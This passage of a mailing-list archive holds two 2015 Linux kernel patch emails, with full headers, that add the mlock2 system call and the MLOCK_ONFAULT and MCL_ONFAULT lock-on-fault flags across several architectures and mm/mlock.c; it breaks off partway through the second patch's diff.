	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed Jul 29 17:43:17 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZKTVf-0002oZ-W5
	for glkm-linux-mm-2@m.gmane.org; Wed, 29 Jul 2015 17:43:12 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 0CB356B0257; Wed, 29 Jul 2015 11:43:08 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 0A2266B0258; Wed, 29 Jul 2015 11:43:08 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id EABA69003C7; Wed, 29 Jul 2015 11:43:07 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f169.google.com (mail-qk0-f169.google.com [209.85.220.169])
	by kanga.kvack.org (Postfix) with ESMTP id BF6566B0257
	for <linux-mm@kvack.org>; Wed, 29 Jul 2015 11:43:07 -0400 (EDT)
Original-Received: by qkdg63 with SMTP id g63so6418988qkd.0
        for <linux-mm@kvack.org>; Wed, 29 Jul 2015 08:43:07 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=I+O1cswjJZp3NXHZP9ws8baeCg42Xt2mpgE4NB7lYqs=;
        b=mroK983/hyflDJWP0TgmpDDuyL9edgM7EpYAo0CRZLM2WgVJA3ne32iWQWNitVbTbC
         wLn2BlW02DOZHSwGFFilhXaD41GYx6sIyWNNmh29wXvQtpfncfasxjM7Cc+PFSWD5X52
         EJD/siyeJ1dJ8q/Fzm2a3N+rBYmmTMA8Wn1mKL43bj1XOY6G7dSx3bOf9Ibw+D+emdmV
         aHv35m13Fb8oVUACyYeRmEsRoPcXpw2ypxZk5wI8olnswAD6V81XLMDFOjEqWYcnUwxH
         ds1oHwwWRvAxipIaepMIm2zWn7MMjMdNU0Sfhc78ag1uznbuCLDaSToN5GDg1V9IgHMA
         dScQ==
X-Gm-Message-State: ALoCoQknH0XB2/+XS9iovpDxpqbSolK+uHWlxX3amqYuctSuK7WI5QfEj25+J1rK6zoKQO2e1T14YR3ULchTJl4Vwu6PUX/4s37KP96vq8JqypiSuxLczkrPQ1dNZpGbQCVq+uyRozAC+IPZN/gukFxyAF30EnnIOxDZCMB+ruk4ujxb23XK+blcViCDkQKKEzM/zCu6FPe2
X-Received: by 10.55.15.144 with SMTP id 16mr62420648qkp.104.1438184587610;
        Wed, 29 Jul 2015 08:43:07 -0700 (PDT)
X-Received: by 10.55.15.144 with SMTP id 16mr62420272qkp.104.1438184585440;
        Wed, 29 Jul 2015 08:43:05 -0700 (PDT)
Original-Received: from prod-mail-xrelay06.akamai.com (prod-mail-xrelay06.akamai.com. [96.6.114.98])
        by mx.google.com with ESMTP id c93si31887363qgd.5.2015.07.29.08.43.05
        for <linux-mm@kvack.org>;
        Wed, 29 Jul 2015 08:43:05 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 96.6.114.98 as permitted sender) client-ip=96.6.114.98;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 96.6.114.98 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay06.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id DDB7616AB92;
	Wed, 29 Jul 2015 15:43:04 +0000 (GMT)
Original-Received: from prod-mail-relay08.akamai.com (prod-mail-relay08.akamai.com [172.27.22.71])
	by prod-mail-xrelay06.akamai.com (Postfix) with ESMTP id B425D16AB8F;
	Wed, 29 Jul 2015 15:43:04 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1438184584; bh=musH6Xj7KvaN2Hg+le0Bh3joCnYYQMnmjRN8zkvu3sc=;
	l=4311; h=From:To:Cc:Date:In-Reply-To:References:From;
	b=VS3DmImGyBcXOIxQ9fKLvCGu9AjX3APtcS+oaAsJU7umo2//YHH1WOFVZ+br5TlSf
	 YuzMFkWoltjmhfvK30sRNOGegrUf95P9pYzr+H3CjsTwNgZeh+MnhUjqgi+ql0LcBr
	 DrhJYi67n/m7IlifIYwvkRwtoz0rKZDs1Xi9tNhs=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.193])
	by prod-mail-relay08.akamai.com (Postfix) with ESMTP id 5CA9598085;
	Wed, 29 Jul 2015 15:43:03 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1438184575-10537-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136497 gmane.linux.ports.alpha:3256 gmane.linux.kernel:2007754 gmane.linux.ports.arm.kernel:430307 gmane.linux.ports.ia64:25629 gmane.linux.ports.parisc:25891 gmane.linux.ports.ppc64.devel:116078 gmane.linux.ports.sh.devel:47544 gmane.linux.ports.sparc:21327 gmane.linux.kernel.api:13312 gmane.linux.kernel.cross-arch:28684
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136497>

With the refactored mlock code, introduce a new system call for mlock.
The new call will allow the user to specify what lock states are being
added.  mlock2 is trivial at the moment, but a follow on patch will add
a new mlock state making it useful.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Stephen Rothwell <sfr@canb.auug.org.au>
Cc: Guenter Roeck <linux@roeck-us.net>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: adi-buildroot-devel@lists.sourceforge.net
Cc: linux-cris-kernel@axis.com
Cc: linux-ia64@vger.kernel.org
Cc: linux-m68k@lists.linux-m68k.org
Cc: linux-am33-list@redhat.com
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-api@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: linux-mm@kvack.org
---
 arch/x86/entry/syscalls/syscall_32.tbl | 1 +
 arch/x86/entry/syscalls/syscall_64.tbl | 1 +
 include/linux/syscalls.h               | 2 ++
 include/uapi/asm-generic/unistd.h      | 4 +++-
 kernel/sys_ni.c                        | 1 +
 mm/mlock.c                             | 9 +++++++++
 6 files changed, 17 insertions(+), 1 deletion(-)

diff --git a/arch/x86/entry/syscalls/syscall_32.tbl b/arch/x86/entry/syscalls/syscall_32.tbl
index ef8187f..839d5df 100644
--- a/arch/x86/entry/syscalls/syscall_32.tbl
+++ b/arch/x86/entry/syscalls/syscall_32.tbl
@@ -365,3 +365,4 @@
 356	i386	memfd_create		sys_memfd_create
 357	i386	bpf			sys_bpf
 358	i386	execveat		sys_execveat			stub32_execveat
+359	i386	mlock2			sys_mlock2
diff --git a/arch/x86/entry/syscalls/syscall_64.tbl b/arch/x86/entry/syscalls/syscall_64.tbl
index 9ef32d5..ad36769 100644
--- a/arch/x86/entry/syscalls/syscall_64.tbl
+++ b/arch/x86/entry/syscalls/syscall_64.tbl
@@ -329,6 +329,7 @@
 320	common	kexec_file_load		sys_kexec_file_load
 321	common	bpf			sys_bpf
 322	64	execveat		stub_execveat
+323	common	mlock2			sys_mlock2
 
 #
 # x32-specific system call numbers start at 512 to avoid cache impact
diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h
index b45c45b..56a3d59 100644
--- a/include/linux/syscalls.h
+++ b/include/linux/syscalls.h
@@ -884,4 +884,6 @@ asmlinkage long sys_execveat(int dfd, const char __user *filename,
 			const char __user *const __user *argv,
 			const char __user *const __user *envp, int flags);
 
+asmlinkage long sys_mlock2(unsigned long start, size_t len, int flags);
+
 #endif
diff --git a/include/uapi/asm-generic/unistd.h b/include/uapi/asm-generic/unistd.h
index e016bd9..14a6013 100644
--- a/include/uapi/asm-generic/unistd.h
+++ b/include/uapi/asm-generic/unistd.h
@@ -709,9 +709,11 @@ __SYSCALL(__NR_memfd_create, sys_memfd_create)
 __SYSCALL(__NR_bpf, sys_bpf)
 #define __NR_execveat 281
 __SC_COMP(__NR_execveat, sys_execveat, compat_sys_execveat)
+#define __NR_mlock2 282
+__SYSCALL(__NR_mlock2, sys_mlock2)
 
 #undef __NR_syscalls
-#define __NR_syscalls 282
+#define __NR_syscalls 283
 
 /*
  * All syscalls below here should go away really,
diff --git a/kernel/sys_ni.c b/kernel/sys_ni.c
index 7995ef5..4818b71 100644
--- a/kernel/sys_ni.c
+++ b/kernel/sys_ni.c
@@ -193,6 +193,7 @@ cond_syscall(sys_mlock);
 cond_syscall(sys_munlock);
 cond_syscall(sys_mlockall);
 cond_syscall(sys_munlockall);
+cond_syscall(sys_mlock2);
 cond_syscall(sys_mincore);
 cond_syscall(sys_madvise);
 cond_syscall(sys_mremap);
diff --git a/mm/mlock.c b/mm/mlock.c
index 1585cca..807f986 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -642,6 +642,15 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 	return do_mlock(start, len, VM_LOCKED);
 }
 
+SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
+{
+	vm_flags_t vm_flags = VM_LOCKED;
+	if (flags)
+		return -EINVAL;
+
+	return do_mlock(start, len, vm_flags);
+}
+
 SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 {
 	int ret;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH V6 4/6] mm: mlock: Add mlock flags to enable VM_LOCKONFAULT usage
Date: Wed, 29 Jul 2015 11:42:53 -0400
Lines: 294
Approved: news@gmane.org
Message-ID: <1438184575-10537-5-git-send-email-emunson@akamai.com>
References: <1438184575-10537-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1438184611 10250 80.91.229.3 (29 Jul 2015 15:43:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Jul 2015 15:43:31 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>,
	"Kirill A. Shutemov" <kirill@shutemov.name>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed Jul 29 17:43:21 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZKTVo-0002vR-Gn
	for glkm-linux-mm-2@m.gmane.org; Wed, 29 Jul 2015 17:43:20 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 81DAA6B0259; Wed, 29 Jul 2015 11:43:12 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 7A8309003C7; Wed, 29 Jul 2015 11:43:12 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 6BC9C6B025B; Wed, 29 Jul 2015 11:43:12 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f44.google.com (mail-qg0-f44.google.com [209.85.192.44])
	by kanga.kvack.org (Postfix) with ESMTP id 404636B0259
	for <linux-mm@kvack.org>; Wed, 29 Jul 2015 11:43:12 -0400 (EDT)
Original-Received: by qgii95 with SMTP id i95so6270636qgi.2
        for <linux-mm@kvack.org>; Wed, 29 Jul 2015 08:43:12 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=3ybZKFt7nu8JJyrBO4gmPSM1D7ZWrDqp8lt4GmrnUlE=;
        b=djEF7t7ljVkeBjhyrgIwub9xEjmrh2CAQirdphtbgXDEw5BNDL2wLRVts/k4oi7x6y
         6aCQV65PvsnN0M4Xf9nZnX2w/me5yysdMtQ9HUIhc/RUY6mm0vHAC/htuj0E6A85gfEw
         +Z8T9ZAxzDCp+aTszLpgMcPiWDQMYVfX71/ZZbyeR3LQ5kKGdgDqhlzAtoPL1fNJVhMU
         PBeCu3wRh7S/jGVnhp4S9uOn0tzhkJQU1vVqTINZnEiaYU6B77MPg/4yemJJ8KkLt+Jg
         ToHi7FlRUGMT8pXNCLK5O/2HShLEpA/HpOt85MihpKoihecVknwyGt/imkcQNHlP7LEQ
         ktVQ==
X-Gm-Message-State: ALoCoQnklyp7iR4NtFF7Nn7AnMKLc9kOX61KymcD9xWf/eNBkBQ8v6b7W+eMdiejwDhqUKiYPxhBW710QXPatDrbOMewb+oGu231me5JNxe8FZphkpj6jxzcXQVh4ftjcC3idJ6mzGhxuyxvT8mxWLxx9XcjVMUn9gaFEP+EUKza14UsY74RURNfdDQiIfUDObDapdrH4Mwl
X-Received: by 10.140.107.180 with SMTP id h49mr62526775qgf.1.1438184592077;
        Wed, 29 Jul 2015 08:43:12 -0700 (PDT)
X-Received: by 10.140.107.180 with SMTP id h49mr62526074qgf.1.1438184587176;
        Wed, 29 Jul 2015 08:43:07 -0700 (PDT)
Original-Received: from prod-mail-xrelay06.akamai.com (prod-mail-xrelay06.akamai.com. [96.6.114.98])
        by mx.google.com with ESMTP id k90si31860026qgd.68.2015.07.29.08.43.06
        for <linux-mm@kvack.org>;
        Wed, 29 Jul 2015 08:43:07 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 96.6.114.98 as permitted sender) client-ip=96.6.114.98;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 96.6.114.98 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay06.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 736A016AB99;
	Wed, 29 Jul 2015 15:43:06 +0000 (GMT)
Original-Received: from prod-mail-relay08.akamai.com (prod-mail-relay08.akamai.com [172.27.22.71])
	by prod-mail-xrelay06.akamai.com (Postfix) with ESMTP id 48C2B16AB98;
	Wed, 29 Jul 2015 15:43:06 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1438184586; bh=X68/Q0zxVPLNxY/QdwIBB2hfMJHCc4XBJfwLklvTUyg=;
	l=11395; h=From:To:Cc:Date:In-Reply-To:References:From;
	b=R+pUEygvUvppTjRQXjp1mMirVKYRrVgedN3UXRPaZq13ybMbEJjH4tK83fpKVIEdz
	 5IpvWxA5dUPdBs27/iuk1JhLqkiSM5TPK1LrLx3hvvhd11wiTUX/WfUnFD5cPlCcOx
	 UOkkcQ3xSLGkRQRw2uRV/BGtLrWOn8zRGZySEZ90=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.193])
	by prod-mail-relay08.akamai.com (Postfix) with ESMTP id 7256C98088;
	Wed, 29 Jul 2015 15:43:05 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1438184575-10537-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136498 gmane.linux.ports.alpha:3257 gmane.linux.kernel:2007755 gmane.linux.ports.mips.general:49647 gmane.linux.ports.parisc:25892 gmane.linux.ports.ppc64.devel:116079 gmane.linux.ports.sparc:21328 gmane.linux.kernel.cross-arch:28685 gmane.linux.kernel.api:13313
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136498>

The previous patch introduced a flag that specified pages in a VMA
should be placed on the unevictable LRU, but they should not be made
present when the area is created.  This patch adds the ability to set
this state via the new mlock system calls.

We add MLOCK_ONFAULT for mlock2 and MCL_ONFAULT for mlockall.
MLOCK_ONFAULT will set the VM_LOCKONFAULT modifier for VM_LOCKED.
MCL_ONFAULT should be used as a modifier to the two other mlockall
flags.  When used with MCL_CURRENT, all current mappings will be marked
with VM_LOCKED | VM_LOCKONFAULT.  When used with MCL_FUTURE, the
mm->def_flags will be marked with VM_LOCKED | VM_LOCKONFAULT.  When used
with both MCL_CURRENT and MCL_FUTURE, all current mappings and
mm->def_flags will be marked with VM_LOCKED | VM_LOCKONFAULT.

Prior to this patch, mlockall() will unconditionally clear the
mm->def_flags any time it is called without MCL_FUTURE.  This behavior
is maintained after adding MCL_ONFAULT.  If a call to
mlockall(MCL_FUTURE) is followed by mlockall(MCL_CURRENT), the
mm->def_flags will be cleared and new VMAs will be unlocked.  This
remains true with or without MCL_ONFAULT in either mlockall()
invocation.

munlock() will unconditionally clear both vma flags.  munlockall()
unconditionally clears for VMA flags on all VMAs and in the
mm->def_flags field.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Jonathan Corbet <corbet@lwn.net>
Cc: "Kirill A. Shutemov" <kirill@shutemov.name>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
Cc: linux-mm@kvack.org
---
 arch/alpha/include/uapi/asm/mman.h     |  3 ++
 arch/mips/include/uapi/asm/mman.h      |  6 ++++
 arch/parisc/include/uapi/asm/mman.h    |  3 ++
 arch/powerpc/include/uapi/asm/mman.h   |  1 +
 arch/sparc/include/uapi/asm/mman.h     |  1 +
 arch/tile/include/uapi/asm/mman.h      |  1 +
 arch/xtensa/include/uapi/asm/mman.h    |  6 ++++
 include/uapi/asm-generic/mman-common.h |  5 ++++
 include/uapi/asm-generic/mman.h        |  1 +
 mm/mlock.c                             | 55 ++++++++++++++++++++++++++--------
 10 files changed, 70 insertions(+), 12 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 0086b47..f2f9496 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -37,6 +37,9 @@
 
 #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
 #define MCL_FUTURE	16384		/* lock all additions to address space */
+#define MCL_ONFAULT	32768		/* lock all pages that are faulted in */
+
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index cfcb876..97c03f4 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -61,6 +61,12 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
+/*
+ * Flags for mlock
+ */
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..ecc3ae1 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -31,6 +31,9 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL     0               /* no further special treatment */
 #define MADV_RANDOM     1               /* expect random page references */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index 6ea26df..03c06ba 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -22,6 +22,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 0b14df3..9765896 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -17,6 +17,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index 81b8fc3..63ee13f 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -36,6 +36,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 
 #endif /* _ASM_TILE_MMAN_H */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 201aec0..360944e 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -74,6 +74,12 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
+/*
+ * Flags for mlock
+ */
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/include/uapi/asm-generic/mman-common.h b/include/uapi/asm-generic/mman-common.h
index ddc3b36..a74dd84 100644
--- a/include/uapi/asm-generic/mman-common.h
+++ b/include/uapi/asm-generic/mman-common.h
@@ -25,6 +25,11 @@
 # define MAP_UNINITIALIZED 0x0		/* Don't support this flag */
 #endif
 
+/*
+ * Flags for mlock
+ */
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
+
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_INVALIDATE	2		/* invalidate the caches */
 #define MS_SYNC		4		/* synchronous memory sync */
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index e9fe6fd..7162cd4 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -17,5 +17,6 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #endif /* __ASM_GENERIC_MMAN_H */
diff --git a/mm/mlock.c b/mm/mlock.c
index 2a3a860..5eeeb83 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -506,7 +506,8 @@ static int mlock_fixup(struct vm_area_struct *vma, struct vm_area_struct **prev,
 
 	if (newflags == vma->vm_flags || (vma->vm_flags & VM_SPECIAL) ||
 	    is_vm_hugetlb_page(vma) || vma == get_gate_vma(current->mm))
-		goto out;	/* don't set VM_LOCKED,  don't count */
+		/* don't set VM_LOCKED or VM_LOCKONFAULT and don't count */
+		goto out;
 
 	pgoff = vma->vm_pgoff + ((start - vma->vm_start) >> PAGE_SHIFT);
 	*prev = vma_merge(mm, *prev, start, end, newflags, vma->anon_vma,
@@ -576,7 +577,7 @@ static int apply_vma_lock_flags(unsigned long start, size_t len,
 		prev = vma;
 
 	for (nstart = start ; ; ) {
-		vm_flags_t newflags = vma->vm_flags & ~VM_LOCKED;
+		vm_flags_t newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
 		newflags |= flags;
 
 		/* Here we know that  vma->vm_start <= nstart < vma->vm_end. */
@@ -645,9 +646,12 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
 {
 	vm_flags_t vm_flags = VM_LOCKED;
-	if (flags)
+	if (flags & ~MLOCK_ONFAULT)
 		return -EINVAL;
 
+	if (flags & MLOCK_ONFAULT)
+		vm_flags |= VM_LOCKONFAULT;
+
 	return do_mlock(start, len, vm_flags);
 }
 
@@ -665,24 +669,50 @@ SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 	return ret;
 }
 
+/*
+ * Take the MCL_* flags passed into mlockall (or 0 if called from munlockall)
+ * and translate into the appropriate modifications to mm->def_flags and/or the
+ * flags for all current VMAs.
+ *
+ * There are a couple of sublties with this.  If mlockall() is called multiple
+ * times with different flags, the values do not necessarily stack.  If mlockall
+ * is called once including the MCL_FUTURE flag and then a second time without
+ * it, VM_LOCKED and VM_LOCKONFAULT will be cleared from mm->def_flags.
+ */
 static int apply_mlockall_flags(int flags)
 {
 	struct vm_area_struct * vma, * prev = NULL;
+	vm_flags_t to_add = 0;
 
-	if (flags & MCL_FUTURE)
+	current->mm->def_flags &= ~(VM_LOCKED | VM_LOCKONFAULT);
+	if (flags & MCL_FUTURE) {
 		current->mm->def_flags |= VM_LOCKED;
-	else
-		current->mm->def_flags &= ~VM_LOCKED;
 
-	if (flags == MCL_FUTURE)
-		goto out;
+		if (flags & MCL_ONFAULT)
+			current->mm->def_flags |= VM_LOCKONFAULT;
+
+		/*
+		 * When there were only two flags, we used to early out if only
+		 * MCL_FUTURE was set.  Now that we have MCL_ONFAULT, we can
+		 * only early out if MCL_FUTURE is set, but MCL_CURRENT is not.
+		 * This is done, even though it promotes odd behavior, to
+		 * maintain behavior from older kernels
+		 */
+		if (!(flags & MCL_CURRENT))
+			goto out;
+	}
+
+	if (flags & MCL_CURRENT) {
+		to_add |= VM_LOCKED;
+		if (flags & MCL_ONFAULT)
+			to_add |= VM_LOCKONFAULT;
+	}
 
 	for (vma = current->mm->mmap; vma ; vma = prev->vm_next) {
 		vm_flags_t newflags;
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
-		if (flags & MCL_CURRENT)
-			newflags |= VM_LOCKED;
+		newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
+		newflags |= to_add;
 
 		/* Ignore errors */
